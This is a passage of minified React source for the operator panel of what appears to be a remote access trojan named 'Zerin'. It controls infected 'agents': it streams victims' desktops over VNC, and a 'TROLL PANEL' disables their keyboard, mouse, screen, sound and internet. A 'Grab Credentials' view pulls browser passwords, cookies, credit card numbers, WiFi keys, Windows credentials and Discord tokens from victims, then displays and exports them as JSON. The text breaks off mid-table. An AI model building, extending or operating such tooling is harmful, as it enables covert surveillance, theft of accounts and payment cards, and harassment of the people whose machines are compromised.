Ae)y.current.push({col:Ne.col,row:Ne.row,r:Ne.data[0],g:Ne.data[1],b:Ne.data[2],tileSize:ce});if(re.length>0){if(j.current){v.current||(v.current=[]);for(const Ie of re){const zt=v.current.findIndex(_e=>_e.col===Ie.col&&_e.row===Ie.row);zt>=0?v.current[zt]={...Ie,tileSize:ce}:v.current.push({...Ie,tileSize:ce})}return}j.current=!0;let Ne=re.map(Ie=>({...Ie,tileSize:ce}));if(v.current&&v.current.length>0){for(const Ie of v.current)Ne.findIndex(_e=>_e.col===Ie.col&&_e.row===Ie.row)<0&&Ne.push(Ie);v.current=[]}Promise.all(Ne.map(Ie=>{const zt=new Blob([Ie.data],{type:"image/jpeg"});return createImageBitmap(zt).then(_e=>({bitmap:_e,col:Ie.col,row:Ie.row,tileSize:Ie.tileSize}))})).then(Ie=>{j.current=!1;for(const zt of Ie)g.current.push(zt)}).catch(()=>{j.current=!1})}}}else{H.dirtyTiles=0,H.totalTiles=0,a.current&&URL.revokeObjectURL(a.current);const Q=new Uint8Array(D.data,13),ce=new Blob([Q],{type:"image/jpeg"}),re=URL.createObjectURL(ce);a.current=re,m.current(re,Z,le)}},C.onclose=()=>{l(!1),i.current=null,$(),Y(),ae(),r==null||r()},C.onerror=()=>{C.close()}},[e,t,r,V,$,q,Y,ie,ae]),de=p.useCallback(()=>{i.current&&(i.current.close(),i.current=null),a.current&&(URL.revokeObjectURL(a.current),a.current=null),$(),Y(),ae(),l(!1)},[$,Y,ae]);return p.useEffect(()=>()=>{i.current&&(i.current.close(),i.current=null),a.current&&URL.revokeObjectURL(a.current),$(),Y(),ae()},[$,Y,ae]),{isConnected:o,stats:c,controls:B,connect:fe,disconnect:de}}function jU({agentId:e}){const t=p.useRef(null),n=p.useRef(null),[r,i]=p.useState(!1),a=p.useRef(!1),[o,l]=p.useState({w:0,h:0}),[c,u]=p.useState(!0),[d,f]=p.useState(null),[m,h]=p.useState(!1),[x,g]=p.useState("Zerin"),[y,v]=p.useState(""),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState("https://"),[_,T]=p.useState(!1),[E,U]=p.useState(""),[K,R]=p.useState(!1),[I,F]=p.useState(!1),[B,V]=p.useState(!1),[$,q]=p.useState(!1),[Y,ie]=p.useState(!1),[ae,fe]=p.useState(!1),de=(X,ne="ok")=>{f({text:X,type:ne}),setTimeout(()=>f(null),2500)},G=p.useCallback((X,ne,H)=>{a.current||(a.current=!0,i(!0)),l({w:ne,h:H});const Q=t.current;if(!Q)return;const ce=Q.getContext("2d");if(ce)if((Q.width!==ne||Q.height!==H)&&(Q.width=ne,Q.height=H),typeof X=="string"){const re=n.current||new Image;n.current=re,re.onload=()=>ce.drawImage(re,0,0),re.src=X}else X instanceof ImageBitmap?(ce.drawImage(X,0,0),X.close()):ce.drawImage(X,0,0)},[]),{isConnected:te,stats:P,connect:C}=J0({agentId:e,onFrame:G}),[D,A]=p.useState(!1);p.useEffect(()=>{!e||!D||ix(e).then(()=>C()).catch(()=>{C()})},[e,C,D]);const Z=async(X,ne)=>{try{await ke(e,{command:X,args:ne}),de(`Sent: ${X}`)}catch{de(`Failed: ${X}`,"err")}},le=()=>{const X=!c;u(X),Z("troll_taskbar",[X?"show":"hide"])},me=(X,ne,H)=>{const Q=!X;ne(Q),Z(H,[Q?"on":"off"])},ge=()=>{y.trim()&&(Z("troll_msgbox",[y,x||"Zerin"]),h(!1),v(""),g("Zerin"))},M=()=>{j.trim()&&(Z("troll_tts",[j]),w(!1),k(""))},ee=()=>{if(!(!z.trim()||z==="https://")){if(!/^https?:\/\//i.test(z)){de("URL must start with http:// or https://","err");return}Z("troll_website",[z]),N(!1),O("https://")}},W=()=>{E.trim()&&(Z("troll_wallpaper",[E]),T(!1),U(""))};return s.jsxs("div",{className:"flex flex-col h-full overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-3 px-5 py-2.5 shrink-0 border-b border-[#1a1a20]",style:{background:"linear-gradient(180deg, #111115 0%, #0d0d11 100%)"},children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:"w-5 h-5 flex items-center justify-center",style:{background:"rgba(239, 68, 68, 0.1)",border:"1px solid rgba(239, 68, 68, 0.2)"},children:s.jsxs("svg",{className:"w-3 h-3",viewBox:"0 0 24 24",fill:"none",stroke:"#ef4444",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.362 5.214A8.252 8.252 0 0112 21 8.25 8.25 0 016.038 7.048 8.287 8.287 0 009 9.6a8.983 8.983 0 013.361-6.867 8.21 8.21 0 003 2.48z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18a3.75 3.75 0 00.495-7.467 5.99 5.99 0 00-1.925 3.546 5.974 5.974 0 01-2.133-1A3.75 3.75 0 0012 18z"})]})}),s.jsx("span",{className:"font-display text-sm font-semibold tracking-wide text-[#ef4444]/80",children:"TROLL PANEL"})]}),s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:te&&r?"#22C55E":te?"#eab308":"#ef4444",boxShadow:te?"0 0 6px rgba(34,197,94,0.4)":"none"}}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:te&&r?"LIVE":te?"BUFFERING":"CONNECTING"})]}),te&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[s.jsx("span",{className:"text-zerin-accent",children:P.fps})," FPS"]}),o.w>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-px h-4 bg-[#1a1a20]"}),s.jsxs("span",{className:"font-mono text-[10px] text-zerin-text-muted",children:[o.w,"×",o.h]})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40",children:"VIEW ONLY"})]}),s.jsxs("div",{className:"flex flex-1 min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"w-[200px] shrink-0 flex flex-col border-r border-[#1a1a20] overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx(zs,{icon:s.jsx(kU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx(zs,{icon:s.jsx(NU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx(zs,{icon:s.jsx(SU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx(zs,{icon:s.jsx(zU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),s.jsx(zs,{icon:s.jsx(CU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>Z("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(xi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:le}),s.jsx(xi,{label:"Swap Mouse",active:K,color:"#f59e0b",onToggle:()=>me(K,R,"troll_swapmouse"),invert:!0}),s.jsx(xi,{label:"Sound",active:!I,color:"#8b5cf6",onToggle:()=>me(I,F,"troll_disablesound")}),s.jsx(xi,{label:"Screen",active:!B,color:"#ef4444",onToggle:()=>me(B,V,"troll_blackscreen")}),s.jsx(xi,{label:"Keyboard",active:!$,color:"#10b981",onToggle:()=>me($,q,"troll_disablekeyboard")}),s.jsx(xi,{label:"Mouse",active:!Y,color:"#ec4899",onToggle:()=>me(Y,ie,"troll_disablemouse")}),s.jsx(xi,{label:"Internet",active:!ae,color:"#06b6d4",onToggle:()=>me(ae,fe,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):D?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>A(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Ll,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:X=>g(X.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:X=>v(X.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Il,{onCancel:()=>h(!1),onSend:ge,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Ll,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:X=>k(X.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r + placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Il,{onCancel:()=>w(!1),onSend:M,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Ll,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:X=>O(X.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Il,{onCancel:()=>N(!1),onSend:ee,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),_&&s.jsxs(Ll,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:E,onChange:X=>U(X.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r + placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Il,{onCancel:()=>T(!1),onSend:W,color:"#10b981",disabled:!E.trim()})]})]})}function zs({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Ll({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Il({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r + hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r + disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function xi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function kU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function NU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function SU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function zU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function CU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function PU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var w,j,k,S,N,z,O,_,T,E,U,K,R,I,F,B,V,$,q,Y,ie,ae,fe,de,G,te,P;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=C=>{f(D=>{const A=new Set(D);return A.has(C)?A.delete(C):A.add(C),A})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:C}=await ke(e,{command:"creds"});let D=0;h.current=setInterval(async()=>{var A,Z,le,me,ge,M;D++;try{const W=(A=(await Tn(e)).results)==null?void 0:A.find(X=>X.task_id===C);if(W){if(h.current&&clearInterval(h.current),h.current=null,l(!1),W.error){u(W.error);return}if(W.output)try{const X=JSON.parse(W.output);a(X);const ne=new Set;(Z=X.chrome_passwords)!=null&&Z.length&&ne.add("chrome_passwords"),(le=X.firefox_passwords)!=null&&le.length&&ne.add("firefox_passwords"),(me=X.wifi)!=null&&me.length&&ne.add("wifi"),(ge=X.windows_credentials)!=null&&ge.length&&ne.add("windows_credentials"),(M=X.discord_tokens)!=null&&M.length&&ne.add("discord_tokens"),f(ne)}catch{u("Failed to parse credential data")}}else D>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(C){l(!1),u(C instanceof Error?C.message:"Failed to submit task")}}},[e,m]),v=C=>{navigator.clipboard.writeText(C).catch(()=>{})},b=()=>{if(!i)return;const C=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),D=URL.createObjectURL(C),A=document.createElement("a");A.href=D,A.download=`credentials_${e.slice(0,8)}.json`,A.click(),URL.revokeObjectURL(D)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r + bg-zerin-accent hover:bg-zerin-accent-hover text-white\r + px-4 py-2 transition-colors\r + disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:b,className:`inline-flex items-center gap-1.5 text-sm font-medium\r + text-zerin-text-dim hover:text-zerin-text\r + bg-zerin-panel hover:bg-zerin-panel-hover\r + border border-zerin-panel-border\r + px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(Tr,{title:"Browser Passwords",count:(((w=i.chrome_passwords)==null?void 0:w.length)??0)+(((j=i.firefox_passwords)==null?void 0:j.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:C.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.username),children:C.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})]})}),s.jsx(Tr,{title:"Browser Cookies",count:((k=i.chrome_cookies)==null?void 0:k.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(S=i.chrome_cookies)!=null&&S.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:C.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:C.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.value),children:[C.value.slice(0,40),"..."]})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(Tr,{title:"Credit Cards",count:((N=i.chrome_cards)==null?void 0:N.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(z=i.chrome_cards)!=null&&z.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:C.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.number),children:C.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.exp})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(Tr,{title:"WiFi Passwords",count:((O=i.wifi)==null?void 0:O.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(_=i.wifi)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text 